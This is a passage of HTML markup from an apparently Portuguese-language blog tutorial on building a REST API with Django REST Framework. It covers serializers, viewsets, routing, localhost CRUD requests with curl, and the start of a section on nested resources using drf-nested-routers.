&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ChannelSerializer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;serializers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ModelSerializer&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Meta&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        model &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Channel
        fields &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;link&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;token string&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Uma vez que estamos expondo todos os campos do modelo, é possível trocar a lista em &lt;code class=&quot;language-text&quot;&gt;fields&lt;/code&gt;, pela &lt;em&gt;string&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;__all__&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Viewsets&lt;/h2&gt;
&lt;p&gt;Continuando com as analogias, um &lt;em&gt;viewset&lt;/em&gt; seria mais ou menos o que são as &lt;em&gt;class-based views&lt;/em&gt; no &lt;em&gt;Django&lt;/em&gt;. Elas abstraem uma
porção de lógica repetitiva (como &lt;em&gt;CRUD&lt;/em&gt;) através de uma estrutura muito familiar aos que já possuem certa vivência com o &lt;em&gt;framework&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# channels/api.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; rest_framework &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; viewsets

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; channels&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;models &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Channel
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; channels&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;serializers &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; ChannelSerializer


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ChannelViewSet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;viewsets&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ModelViewSet&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    queryset &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Channel&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;objects&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    serializer_class &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ChannelSerializer&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note que em &lt;code class=&quot;language-text&quot;&gt;queryset&lt;/code&gt; apontamos para o modelo &lt;code class=&quot;language-text&quot;&gt;Channel&lt;/code&gt;, e em &lt;code class=&quot;language-text&quot;&gt;serializer_class&lt;/code&gt; para a classe serializadora criada anteriormente.&lt;/p&gt;
&lt;h2&gt;Fazendo o roteamento&lt;/h2&gt;
&lt;p&gt;Como último passo para termos algo de fato visual, vamos mapear as rotas para o novo recurso criado.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/767c61c3f85f83779b4b72b19b2e65d7/07f3a/hyperdrive.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 42.1875%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAIABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAMF/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEAMQAAABw6BIH//EABcQAAMBAAAAAAAAAAAAAAAAAAACMQH/2gAIAQEAAQUCXSDX/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFBABAAAAAAAAAAAAAAAAAAAAEP/aAAgBAQAGPwJ//8QAGBAAAwEBAAAAAAAAAAAAAAAAAAERMUH/2gAIAQEAAT8hgN0u01P/2gAMAwEAAgADAAAAEIAP/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPxA//8QAFREBAQAAAAAAAAAAAAAAAAAAEBH/2gAIAQIBAT8Qp//EABsQAAICAwEAAAAAAAAAAAAAAAERACFBUZHw/9oACAEBAAE/EKQKbQOpakx+5BuBYOZ//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Falcon em hyperdrive&quot;
        title=&quot;Usar DRF é como entrar em hyperdrive (pinpointe.com)&quot;
        src=&quot;/static/767c61c3f85f83779b4b72b19b2e65d7/07f3a/hyperdrive.jpg&quot;
        srcset=&quot;/static/767c61c3f85f83779b4b72b19b2e65d7/7809d/hyperdrive.jpg 192w,
/static/767c61c3f85f83779b4b72b19b2e65d7/4ecad/hyperdrive.jpg 384w,
/static/767c61c3f85f83779b4b72b19b2e65d7/07f3a/hyperdrive.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Usar DRF é como entrar em hyperdrive (pinpointe.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Uma das vantagens de utilizar um &lt;em&gt;viewset&lt;/em&gt; é que ele também se encarrega de fazer o mapeamento das &lt;em&gt;URLs&lt;/em&gt;. Por exemplo, o &lt;code class=&quot;language-text&quot;&gt;ChannelViewSet&lt;/code&gt; uma vez que mapeado,
responderá para rotas terminando em &lt;code class=&quot;language-text&quot;&gt;/&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;/&amp;lt;id-do-channel&gt;&lt;/code&gt;. Além disso compreenderá que um &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt; em &lt;code class=&quot;language-text&quot;&gt;/&lt;/code&gt; é relacionado à criação de um novo elemento, bem como &lt;code class=&quot;language-text&quot;&gt;DELETE&lt;/code&gt; em &lt;code class=&quot;language-text&quot;&gt;/&amp;lt;id-do-channel&gt;&lt;/code&gt; está relação à remoção:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# urls.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; django&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urls &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; include&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; path

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; rest_framework &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; routers
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; channels&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;api &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; ChannelViewSet

api_router &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; routers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;DefaultRouter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
api_router&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;register&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&quot;channels&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ChannelViewSet&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

urlpatterns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    path&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;api/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; include&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;api_router&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;urls&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Nesse momento já é possível presenciar um resultado mais sólido ao acessar &lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/api&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/0a797ad2b8417bd9a2e5f88cd3c3a1b0/50383/django-rest-framework-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 54.6875%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABYlAAAWJQFJUiTwAAABoklEQVQoz32QXU8aQRSG+TksxCvrCkgQKAhVY/wJ3vqHeul9b/ozetGYsB125SN2iV+ALbMfyHyc2dndnlVrUJuePHkzczLvnHcm160f7G63OrX9Rrn1sdrpNg7btU/Nyl7NbK7RwE672jlu1+u7R3i4Ve02y+2caeQbHza7O5VOudQyzb3SdmVjo1wsvqFULJhGYSuPmt8yUI1Swcg5wyGx7fNejzjOD9tGLEJ6hFj9vkUQ8qh97AwHzuXoAvXn6GI8GtiDQS5NU621FAI1/W9NArDmYhKo8ym/CgE7mXk2m7muOx6PcBFFkZSgFMSxTpIY60nTNPn87er0q4N68oWcfb9+Nofhcj6/p57n+wH1/AXNCkBpHUdRjPq0SJJkPQhuMzNjfLHwGRcKIgQAhysh4A2MyxWXjMMDw3DR82Qc27PI0L2ZzP3LqeeF7L1zHc7xXX/NHvXd67vbXz4NGV3yYCUETgaV6b8ivDLj6yBYAV1Kbwk0FL8DPqV8Rvm9z/EyofD0OowBvMSOtFZcKiZAKsXkIyJjJbIASr8HvxCNfwCaXhd1UyI/swAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo ao acessar o endereço no browser&quot;
        title=&quot;Exemplo ao acessar o endereço no browser&quot;
        src=&quot;/static/0a797ad2b8417bd9a2e5f88cd3c3a1b0/50383/django-rest-framework-example.png&quot;
        srcset=&quot;/static/0a797ad2b8417bd9a2e5f88cd3c3a1b0/8514f/django-rest-framework-example.png 192w,
/static/0a797ad2b8417bd9a2e5f88cd3c3a1b0/804b2/django-rest-framework-example.png 384w,
/static/0a797ad2b8417bd9a2e5f88cd3c3a1b0/50383/django-rest-framework-example.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo ao acessar o endereço no browser&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Não ligue para a porta &lt;code class=&quot;language-text&quot;&gt;:5000&lt;/code&gt; no exemplo acima...&lt;/p&gt;
&lt;p&gt;Se você não é fã do &lt;em&gt;browsable api&lt;/em&gt;, e não quer ter essa visão do &lt;code class=&quot;language-text&quot;&gt;API Root&lt;/code&gt; (como da imagem acima), troque o &lt;code class=&quot;language-text&quot;&gt;DefaultRouter&lt;/code&gt; por &lt;code class=&quot;language-text&quot;&gt;SimpleRouter&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;CRUD em ação&lt;/h2&gt;
&lt;p&gt;Considerando tudo o que foi dito até então, podemos esperar que temos o recurso mapeado no endereço &lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/api/channels&lt;/code&gt;,
e que a partir desse, poderemos desempenhar a listagem, adição, edição e exclusão de dados desse recurso.&lt;/p&gt;
&lt;p&gt;Começamos então adicionando um elemento, ao enviar o método &lt;code class=&quot;language-text&quot;&gt;POST&lt;/code&gt; para o endereço com final &lt;code class=&quot;language-text&quot;&gt;channels/&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl -XPOST http://localhost:8000/api/channels/ --data &apos;{
    &quot;id&quot;: 1,
    &quot;title&quot;: &quot;Klaus Laube&quot;,
    &quot;description&quot;: &quot;Python, Django e desenvolvimento Web&quot;,
    &quot;link&quot;: &quot;https://klauslaube.com.br&quot;
}&apos; --header &quot;Content-Type: application/json&quot;

{&quot;id&quot;:1,&quot;title&quot;:&quot;Klaus Laube&quot;,&quot;description&quot;:&quot;Python, Django e desenvolvimento Web&quot;,&quot;link&quot;:&quot;https://klauslaube.com.br&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como o serializador espelha as propriedades do modelo &lt;code class=&quot;language-text&quot;&gt;Channel&lt;/code&gt;, caso um campo obrigatório não seja enviado
no &lt;em&gt;payload&lt;/em&gt;, o próprio serializador se encarregará de fazer essa validação e de retornar detalhes do erro ao usuário:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl -i -XPOST http://localhost:8000/api/channels/ --data &apos;{
    &quot;title&quot;: &quot;Klaus Laube&quot;,
    &quot;description&quot;: &quot;Python, Django, APIs, e desenvolvimento Web&quot;
}&apos; --header &quot;Content-Type: application/json&quot;

HTTP/1.1 400 Bad Request
Date: Tue, 11 Feb 2020 18:00:44 GMT
Server: WSGIServer/0.2 CPython/3.7.2
Content-Type: application/json
Vary: Accept, Cookie
Allow: GET, POST, HEAD, OPTIONS
X-Frame-Options: DENY
Content-Length: 36
X-Content-Type-Options: nosniff

{&quot;link&quot;:[&quot;This field is required.&quot;]}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como estamos falando de uma &lt;em&gt;API&lt;/em&gt; &lt;em&gt;REST&lt;/em&gt;, é normal esperarmos que um &lt;code class=&quot;language-text&quot;&gt;GET&lt;/code&gt; no mesmo endereço traga uma lista de &lt;em&gt;channels&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl http://localhost:8000/api/channels/

[{&quot;id&quot;:1,&quot;title&quot;:&quot;Klaus Laube&quot;,&quot;description&quot;:&quot;Python, Django e desenvolvimento Web&quot;,&quot;link&quot;:&quot;https://klauslaube.com.br&quot;}]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E normalmente, um &lt;code class=&quot;language-text&quot;&gt;GET&lt;/code&gt; em &lt;code class=&quot;language-text&quot;&gt;channels/1&lt;/code&gt; deve trazer detalhes daquele recurso:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl http://localhost:8000/api/channels/1/

{&quot;id&quot;:1,&quot;title&quot;:&quot;Klaus Laube&quot;,&quot;description&quot;:&quot;Python, Django e desenvolvimento Web&quot;,&quot;link&quot;:&quot;https://klauslaube.com.br&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para atualizar o registro, enviamos o método &lt;code class=&quot;language-text&quot;&gt;PUT&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl -XPUT http://localhost:8000/api/channels/1/ --data &apos;{
    &quot;title&quot;: &quot;Klaus Laube&quot;,
    &quot;description&quot;: &quot;Python, Django, APIs, e desenvolvimento Web&quot;,
    &quot;link&quot;: &quot;https://klauslaube.com.br&quot;
}&apos; --header &quot;Content-Type: application/json&quot;

{&quot;id&quot;:1,&quot;title&quot;:&quot;Klaus Laube&quot;,&quot;description&quot;:&quot;Python, Django, APIs, e desenvolvimento Web&quot;,&quot;link&quot;:&quot;https://klauslaube.com.br&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E para finalizar, com &lt;code class=&quot;language-text&quot;&gt;DELETE&lt;/code&gt; é possível remover o recurso:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl -XDELETE http://localhost:8000/api/channels/2/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mágico, não?!&lt;/p&gt;
&lt;h2&gt;Serializando relacionamentos&lt;/h2&gt;
&lt;p&gt;Passaremos a abordar agora a construção do &lt;em&gt;endpoint&lt;/em&gt; para o recurso &lt;code class=&quot;language-text&quot;&gt;Item&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/71dd224a33c9c79420baf43984fa2225/c08c5/vim-jedi.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMFAv/EABYBAQEBAAAAAAAAAAAAAAAAAAMBAv/aAAwDAQACEAMQAAABm1oj00owU//EABoQAAICAwAAAAAAAAAAAAAAAAECAAMQEhP/2gAIAQEAAQUCoI6PZssWWMcf/8QAFxEAAwEAAAAAAAAAAAAAAAAAAQIQEf/aAAgBAwEBPwENk//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABkQAAIDAQAAAAAAAAAAAAAAAAEQABFBIf/aAAgBAQAGPwLsvBiD/8QAGRABAAMBAQAAAAAAAAAAAAAAAQARITEQ/9oACAEBAAE/IUCO7KqFOwmogC88/9oADAMBAAIAAwAAABCYP//EABURAQEAAAAAAAAAAAAAAAAAABEQ/9oACAEDAQE/EBBP/8QAFhEBAQEAAAAAAAAAAAAAAAAAEQAB/9oACAECAQE/ENdJv//EAB4QAQACAgEFAAAAAAAAAAAAAAEAESExQVFhcYGR/9oACAEBAAE/EGBlI2pdd4QVOea6H7MJUys1rKXfuJbwAEF6z//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Kylo vs Rey&quot;
        title=&quot;Nem o DRF consegue serializar o relacionamento entre Rey e Kylo (jovemnerd.com.br)&quot;
        src=&quot;/static/71dd224a33c9c79420baf43984fa2225/c08c5/vim-jedi.jpg&quot;
        srcset=&quot;/static/71dd224a33c9c79420baf43984fa2225/7809d/vim-jedi.jpg 192w,
/static/71dd224a33c9c79420baf43984fa2225/4ecad/vim-jedi.jpg 384w,
/static/71dd224a33c9c79420baf43984fa2225/c08c5/vim-jedi.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Nem o DRF consegue serializar o relacionamento entre Rey e Kylo (jovemnerd.com.br)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Começamos pelo &lt;em&gt;serializer&lt;/em&gt;, que não é muito diferente do construído anteriormente para o modelo &lt;code class=&quot;language-text&quot;&gt;Channel&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# channels/serializers.py&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ItemSerializer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;serializers&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ModelSerializer&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Meta&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        model &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Item
        fields &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__all__&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;code class=&quot;language-text&quot;&gt;ModelSerializer&lt;/code&gt; &quot;automagicamente&quot; fará o &lt;em&gt;parsing&lt;/em&gt; do relacionamento entre &lt;code class=&quot;language-text&quot;&gt;Item&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;Channel&lt;/code&gt;. O resultado da serialização de uma instância
de &lt;code class=&quot;language-text&quot;&gt;Item&lt;/code&gt; terá uma propriedade &lt;code class=&quot;language-text&quot;&gt;channel&lt;/code&gt;, com a chave primária do elemento relacionado como valor:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;(...)

&gt;&gt;&gt; item = Item.objects.first()
&gt;&gt;&gt; serializer = ItemSerializer(item)
&gt;&gt;&gt; data = serializer.data

&gt;&gt;&gt; print(data[&quot;channel&quot;])
1&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Antes de passarmos para o &lt;em&gt;viewset&lt;/em&gt;, vamos discutir como ficará a &lt;em&gt;URL&lt;/em&gt; desse recurso. Se seguirmos a mesma receita utilizada para &lt;code class=&quot;language-text&quot;&gt;Channel&lt;/code&gt;,
teremos um endereço semelhante com o abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/api/items/&amp;lt;id&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mas que tal se &lt;code class=&quot;language-text&quot;&gt;channels&lt;/code&gt; fosse parte da &lt;em&gt;URL&lt;/em&gt; de &lt;code class=&quot;language-text&quot;&gt;items&lt;/code&gt;? É possível atingir tal resultado com o conceito de recurso aninhado.&lt;/p&gt;
&lt;h2&gt;Nested resources&lt;/h2&gt;
&lt;p&gt;O que queremos, na prática, é o seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;http://localhost:8000/api/channels/&amp;lt;id-do-channel&gt;/items/&amp;lt;id-do-item&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com isso, ao acessar &lt;code class=&quot;language-text&quot;&gt;channels/1/items&lt;/code&gt; (por exemplo), teremos uma listagem de todos os itens relacionados
com o canal &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Infelizmente o &lt;em&gt;DRF&lt;/em&gt; não possui nenhuma &quot;classe mágica&quot; que faça isso acontecer com poucas linhas de código. Estratégias
para atingir o mesmo resultado podem variar. Existe uma biblioteca que integra-se com o &lt;em&gt;DRF&lt;/em&gt; e produz um resultado
similar ao que queremos. Estou falando da &lt;a href=&quot;https://github.com/alanjds/drf-nested-routers&quot; title=&quot;Veja o repositório do projeto&quot;&gt;&lt;em&gt;drf-nested-routers&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pipenv install drf-nested-routers&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Fica o &lt;em&gt;disclaimer&lt;/em&gt;:&lt;/strong&gt; Como o próprio autor da biblioteca salienta na documentação, essa é uma ferramenta em estado experimental, portanto,
cogite alternativas quando estiver fazendo o &lt;em&gt;deploy&lt;/em&gt; do código para produção. Para provar o conceito apresentado nesse &lt;em&gt;post&lt;/em&gt;, ela serve
perfeitamente.&lt;/p&gt;
&lt;p&gt;Agora sim podemos continuar com o desenvolvimento do recurso &lt;code class=&quot;language-text&quot;&gt;Item&lt;/code&gt;:&lt;/p&gt;
